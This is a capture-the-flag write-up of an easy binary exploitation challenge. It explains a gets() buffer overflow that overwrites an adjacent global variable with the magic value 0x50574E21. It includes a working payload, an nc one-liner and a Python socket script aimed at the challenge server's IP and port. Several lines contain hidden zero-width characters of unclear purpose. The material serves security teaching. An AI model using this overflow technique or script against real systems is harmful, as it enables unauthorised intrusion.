← Back to Writeups
CUSTOMEasypwn

Вопрос (Question)

XESXOR9/2/20263 min read
#pwn#custom#easy#buffer-overflow-to-overwrite-a#little-endian-byte-order-explo#magic-value-comparison-bypass#static-binary-analysis-with-ob#linux

Вопрос (Question)

Platform: hackerlab | Category: pwn | Type: Challenge | Difficulty: Easy | OS: Linux | Author: XESXOR | Date: 2025-12-24 | Status: Solved Techniques: Buffer overflow to overwrite adjacent global variable, Little-endian byte order exploitation, Magic value comparison bypass, Static binary analysis with objdump

Summary

Task: Binary checks for correct answer to get flag. Solution: Buffer overflow via gets() to overwrite adjacent secret variable with magic value 0x50574E21.

Вопрос (Question) - HackerLab

Description

От ответа на этот вопрос зависит, получишь ли ты флаг (Your answer to this question determines whether you get the flag)

Binary file checks for the "correct answer" to get the flag.

Analysis

File Information

bash
$ file task
task: ELF 64-bit LSB executable, x86-64

Disassembling main

Analysis with objdump revealed key elements:

asm
# Reading input into str buffer
lea    0x2c8f(%rip),%rax        # str at 0x4020
mov    %rax,%rdi
call   gets@plt                  # Dangerous function!
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

# Loading secret for check
mov    0x2c7c(%rip),%eax        # secret at 0x4034 (0x4020 + 0x14)

# Comparison with magic value
cmp    $0x50574e21,%eax         # Check: secret == 0x50574E21?
jne    <fail>

# If equal - call getenv("FLAG")
lea    0xd8f(%rip),%rax         # "FLAG"
mov    %rax,%rdi
call   getenv@plt

Variable Layout

.bss segment:
+------------------+ 0x4020
|   str[20]        |  <- Input buffer (0x14 = 20 bytes)
+------------------+ 0x4034
|   secret (4)     |  <- Variable for check
+------------------+

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Magic Value

0x50574E21 in little-endian:
Bytes: 21 4E 57 50
ASCII: '!'  'N'  'W'  'P'
String: "!NWP"

Vulnerability

  1. Buffer str has size 20 bytes (0x14)
  2. Variable secret is located right after the buffer (offset +20)
  3. Function gets() does not check input length
  4. Can overflow the buffer and overwrite secret with the required value

Solution

Exploitation Strategy

  1. Fill the buffer with 20 bytes (any characters)
  2. Add magic value 0x50574E21 in little-endian format
  3. Program will read secret == 0x50574E21 and print the flag ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Payload

'A' * 20 + '!NWP'

Where:

  • 'A' * 20 - filling the str buffer
  • '!NWP' - magic value 0x50574E21 in ASCII (little-endian)

Exploit

bash
# Local test
python3 -c "import sys; sys.stdout.buffer.write(b'A'*20 + b'!NWP\n')" | ./task

# Remote exploitation
python3 -c "import sys; sys.stdout.buffer.write(b'A'*20 + b'!NWP\n')" | nc 62.173.140.174 27770

Python Version

python
#!/usr/bin/env python3
"""
Exploit for "Вопрос" (Question)
HackerLab PWN Challenge

Vulnerability: Buffer overflow via gets() overwrites adjacent secret variable
Magic value: 0x50574E21 = "!NWP" (little-endian)
"""
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

import socket

def exploit():
    HOST = '62.173.140.174'
    PORT = 27770
    
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.settimeout(10)
    s.connect((HOST, PORT))
    
    # Receive prompt
    print(s.recv(4096).decode())
    
    # Payload:
    # - 20 bytes padding (fill str buffer)
    # - 4 bytes magic value 0x50574E21 = "!NWP" (little-endian)
    payload = b'A' * 20 + b'!NWP\n'
    s.send(payload)
    
    # Receive flag
    response = s.recv(4096).decode()
    print(response)
    
    s.close()
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

if __name__ == "__main__":
    exploit()

Lessons

  1. gets() is dangerous: Never use gets() - it does not check buffer size. Use fgets() with explicit limit.

  2. Little-endian byte order: x86/x64 uses little-endian. 0x50574E21 is stored as bytes 21 4E 57 50.

  3. BSS layout: Global variables in .bss are laid out sequentially. Buffer before an important variable = vulnerability.

  4. Magic value in ASCII: Often magic values are chosen to be readable in ASCII (here "!NWP" = "PWN!" reversed). ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

  5. Static analysis: objdump is sufficient for complete understanding of the vulnerability without running the binary. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍